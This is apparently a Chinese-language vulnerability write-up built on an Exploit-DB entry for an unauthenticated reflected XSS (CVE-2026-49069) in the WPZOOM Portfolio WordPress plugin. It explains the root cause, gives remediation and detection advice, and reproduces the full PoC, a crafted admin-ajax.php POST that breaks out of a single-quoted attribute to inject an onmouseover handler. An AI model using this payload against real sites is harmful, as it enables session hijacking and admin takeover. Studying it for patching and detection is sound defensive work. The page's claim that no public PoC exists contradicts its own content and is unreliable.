[webapps] WordPress Plugin WPZOOM Portfolio 1.4.21 - Reflected Cross-Site Scripting (XSS)

CVE-2026-49069是WordPress WPZOOM Portfolio插件≤1.4.21版本中的未认证反射型XSS漏洞,攻击者通过admin-ajax.php的wpzoom_load_more_items动作注入恶意事件属性,诱导用户悬停即可执行任意JavaScript,可能导致会话劫持与后台接管。本文分析漏洞原理、PoC利用步骤、检测方法与修复建议。

CVE-2026-49069

WPZOOM Portfolio 1.4.21及之前版本存在未认证反射型XSS,通过AJAX请求注入恶意事件处理属性。

High · CVSS 7.1

📋 漏洞基础信息

CVECVE-2026-49069
漏洞类型反射型跨站脚本(Reflected XSS)
受影响版本WordPress Plugin WPZOOM Portfolio <= 1.4.21
危害等级High · CVSS 7.1
发布日期2026-07-06
提交者Kent Apostol
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在 `wpzoom_load_more_items` AJAX action中,程序通过`wp_ajax_nopriv_`为未认证用户注册处理器,且未进行nonce校验或权限检查。`posts_data`参数经`sanitize_text_field()`过滤后JSON解码,再经`wp_parse_args()`合并到`$args`。其中攻击者可控的`class`键最终被拼接到`items_html()`的多个单引号HTML属性中(如`<li class='{$class}_item ...'>`),`sanitize_text_field()`剥离尖括号但保留单引号,输出时未使用`esc_attr()`,导致可脱离属性注入任意事件处理器。

🎯 攻击场景

1. 在目标WordPress站点存在至少一个已发布的portfolio文章。 2. 攻击者构造恶意AJAX请求:`POST /wp-admin/admin-ajax.php`,参数为`action=wpzoom_load_more_items&offset=0&posts_data={"source":"post","class":"x' onmouseover='alert(document.domain)' y='"}`。 3. 服务端未经验证处理请求,响应HTML中生成`<li class='x' onmouseover='alert(document.domain)' y='_item ...'>`。 4. 受害者浏览页面并在加载的portfolio元素上悬停鼠标,触发`onmouseover`事件执行JavaScript。 5. 攻击者可将该XSS用于窃取会话、钓鱼或恶意操作。

💥 漏洞影响

未认证攻击者可注入并执行任意JavaScript,造成: - 窃取管理员会话Cookie,劫持后台会话。 - 以当前用户身份执行WordPress操作(发布文章、修改设置等)。 - 植入恶意重定向、挖矿脚本或钓鱼页面。 - 绕过CSRF防护,结合其他漏洞可能进一步升级为账户接管。

⚔️ 原始 PoC

PoC核心是利用单引号转义属性值: - `posts_data`中`class`字段值为`x' onmouseover='alert(document.domain)' y='`。 - 代码在拼接时生成`<li class='x' onmouseover='alert(document.domain)' y='_item ...'>`。 - 第一个单引号闭合`class`属性,注入`onmouseover`事件,再通过`y='`保持后续属性语法有效。 - `sanitize_text_field()`仅去除尖括号和多余空白,不转义单引号,因此攻击载荷完整保留。 - 触发条件是查询返回至少一个portfolio项目,页面渲染后用户悬停即执行脚本。

# Exploit Author: Kent Apostol

Vulnerability Description:
The WPZOOM Portfolio plugin for WordPress is vulnerable to unauthenticated reflected Cross-Site Scripting via the `wpzoom_load_more_items` AJAX action. The handler is registered for unauthenticated users through `wp_ajax_nopriv_wpzoom_load_more_items` and performs no nonce validation or privilege checks. 

The application reads the `posts_data` POST parameter,
passes it through `sanitize_text_field()`,and JSON-decodes it into an array which is then merged into `$args` via `wp_parse_args()`. The attacker-controlled `class` key from this array is assigned to `$args['class']` and concatenated directly into multiple single-quoted HTML attributes within `items_html()` (e.g.,`<li class='{$class}_item ...'>`,
`<article class='{$class}_item-wrap ...'>`,`<h3 class='{$class}_item-title'>`) without any context-aware output escaping like `esc_attr()`.

Because `sanitize_text_field()` strips angle brackets (`<`,`>`) but preserves single quotes (`'`),an attacker can break out of the HTML attribute string and inject arbitrary attributes,
including malicious JavaScript event handlers. The payload executes when the underlying query returns at least one published portfolio item.

Proof of Concept (PoC):

Step 1: As an unauthenticated user,
send the following POST request to the target site:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

action=wpzoom_load_more_items&offset=0&posts_data={"source":"post","class":"x' onmouseover='alert(document.domain)' y='"}
Step 2: Review the HTTP response to verify that the single quote has successfully broken out of the class attribute structure to inject the event handler:

<li class='x' onmouseover='alert(document.domain)' y='_item ...' data-category='1'>Step 3: When rendered in a victim's browser,triggering the event handler (hovering over the loaded portfolio item) executes the JavaScript code.

🔬 深度技术分析

PoC核心是利用单引号转义属性值: - `posts_data`中`class`字段值为`x' onmouseover='alert(document.domain)' y='`。 - 代码在拼接时生成`<li class='x' onmouseover='alert(document.domain)' y='_item ...'>`。 - 第一个单引号闭合`class`属性,注入`onmouseover`事件,再通过`y='`保持后续属性语法有效。 - `sanitize_text_field()`仅去除尖括号和多余空白,不转义单引号,因此攻击载荷完整保留。 - 触发条件是查询返回至少一个portfolio项目,页面渲染后用户悬停即执行脚本。

🛡️ 修复建议

1. 升级WPZOOM Portfolio到1.4.22或更高版本(若已发布修复版)。 2. 在`items_html()`中所有属性输出使用`esc_attr()`进行上下文感知转义。 3. 对AJAX处理增加`check_ajax_referer()`或`wp_verify_nonce()`校验,并验证用户权限。 4. 临时缓解:使用WAF规则拦截`posts_data`或AJAX请求中包含`on*=`事件属性的流量;禁用`wp_ajax_nopriv_wpzoom_load_more_items`钩子。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-08-10 08:33 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 攻击者需要什么权限?触发难度如何?

无需任何权限,AJAX处理器通过wp_ajax_nopriv_暴露给未认证用户。需目标存在至少一个已发布portfolio项目,且受害者悬停触发事件,利用难度较低。

❓ 如何确认站点是否受影响?

检查插件版本是否≤1.4.21。手工发送PoC请求,若响应中包含`<li class='x' onmouseover='alert(document.domain)' y='_item`则为受影响。

❓ sanitize_text_field为何未防御XSS?

该函数移除尖括号和多余空白,但保留单引号。代码又在单引号属性中直接拼接,无需尖括号即可用事件属性构成XSS;正确做法是esc_attr。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)